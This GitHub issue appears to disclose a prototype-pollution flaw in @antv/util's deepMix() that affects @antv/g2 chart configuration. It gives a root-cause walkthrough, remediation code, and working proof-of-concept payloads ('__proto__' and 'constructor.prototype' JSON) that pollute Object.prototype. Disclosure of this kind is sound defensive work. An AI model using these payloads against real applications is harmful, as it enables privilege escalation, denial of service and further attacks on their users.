Skip to content

Prototype Pollution via @antv/util deepMix() — affects @antv/g2 chart configuration #7287

@gnsehfvlr

Description

@gnsehfvlr

Prototype Pollution in @antv/g2 via @antv/util deepMix()

Summary

@antv/g2 (<= 5.4.8) is vulnerable to Prototype Pollution through its dependency @antv/util's deepMix() function, which is used extensively throughout the codebase (78+ source files) to merge chart options and configurations.


Root Cause

@antv/util's deepMix() (lib/lodash/deep-mix.js) performs recursive deep merge without filtering __proto__, constructor, or prototype keys:

function _deepMix(dist, src, ...) {
  for (var key in src) {
    if (hasOwn(src, key)) {         // ← passes for JSON.parse'd __proto__
      var value = src[key];
      if (isPlainObject(value)) {
        if (isPlainObject(dist[key])) {
          // Recurse INTO dist[key]
          _deepMix(dist[key], value);   // ← when key="__proto__", dist[key] = Object.prototype
        } else {
          dist[key] = _deepMix({}, value);
        }
      } else {
        dist[key] = value;
      }
    }
  }
}

No __proto__ key filtering exists anywhere in this function.


Why This Is Vulnerable — Step by Step

1. Attacker input: JSON.parse('{"__proto__":{"polluted":"yes"}}')
   → "__proto__" is an OWN ENUMERABLE property on the parsed object
   → hasOwn(src, "__proto__") returns TRUE

2. isPlainObject(src["__proto__"]) → TRUE (it's {polluted:"yes"})

3. dist["__proto__"] resolves to Object.prototype (via the accessor on plain {})
   → isPlainObject(Object.prototype) → TRUE
     (because Object.getPrototypeOf(Object.prototype) === null,
      and the function treats null-prototype objects as plain objects)

4. Recursive call: _deepMix(Object.prototype, {"polluted":"yes"})
   → Object.prototype["polluted"] = "yes"
   → POLLUTION COMPLETE

5. Every {} object in the Node.js process now has .polluted === "yes"

Why hasOwn doesn't help

hasOwn(src, "__proto__") returns true because JSON.parse creates __proto__ as a regular own enumerable property, not the prototype accessor. This is standard V8/Node.js behavior.

Why isPlainObject doesn't help

isPlainObject(Object.prototype) returns true because the check finds that Object.getPrototypeOf(Object.prototype) === null, which matches its definition of "plain object". This means the guard never resets dist["__proto__"] to a fresh {}, and the code descends directly into Object.prototype.


How @antv/g2 Is Affected

@antv/g2 imports and calls deepMix in 78+ source files for merging:

  • Chart options: new Chart(deepMix({}, defaults, userOptions))
  • Mark configuration: mark options merged via deepMix
  • Interaction config: interaction options merged via deepMix
  • Transform options: data transform settings merged via deepMix
  • Theme config: theme objects merged via deepMix

Any code path that accepts external JSON and passes it to chart configuration is exploitable:

const { Chart } = require('@antv/g2');

// Attacker-controlled chart config (e.g., from API response, user input)
const maliciousConfig = JSON.parse('{"__proto__":{"polluted":"yes"}}');

// This triggers deepMix internally
const chart = new Chart({
  container: 'chart',
  ...maliciousConfig,
});

// All objects in the process are now polluted
console.log({}.polluted); // "yes"

Proof of Concept

const { deepMix } = require('@antv/util');

// Before
console.log({}.polluted); // undefined

// Pollute via deepMix
const payload = JSON.parse('{"__proto__":{"polluted":"yes"}}');
deepMix({}, payload);

// After — ALL objects are polluted globally
const obj = {};
console.log(obj.polluted);         // "yes"
console.log(new Object().polluted); // "yes"

// Also works via constructor.prototype path
deepMix({}, JSON.parse('{"constructor":{"prototype":{"hacked":"true"}}}'));
console.log({}.hacked);            // "true"

Impact

Successful prototype pollution via chart configuration enables:

Attack Mechanism
Remote Code Execution Pollute shell, env, or template engine options → child_process.exec
Authentication Bypass Inject isAdmin: true, role: "admin" into user/session objects
Denial of Service Override toString, valueOf, hasOwnProperty → crash all object operations
SQL Injection Pollute query builder parameters ($where, $gt)
SSRF Inject hostname, port, protocol into HTTP client configs
XSS Inject HTML/JS via polluted template variables
Path Traversal Pollute path, basedir in file system operations
CORS Bypass Inject Access-Control-Allow-Origin via polluted header configs

Remediation

Option 1: Fix in @antv/util (recommended — fixes all dependents)

Add key filtering in deepMix:

const BLOCKED = new Set(['__proto__', 'constructor', 'prototype']);

function _deepMix(dist, src, ...) {
  for (var key in src) {
    if (BLOCKED.has(key)) continue;  // ← ADD THIS
    if (hasOwn(src, key)) {
      // ... rest of logic
    }
  }
}

Option 2: Fix in @antv/g2 (workaround)

Sanitize user input before passing to chart constructors:

function sanitize(obj) {
  if (!obj || typeof obj !== 'object') return obj;
  const clean = {};
  for (const key of Object.keys(obj)) {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue;
    clean[key] = typeof obj[key] === 'object' ? sanitize(obj[key]) : obj[key];
  }
  return clean;
}

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    waiting for maintainerTriage or intervention needed from a maintainer

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions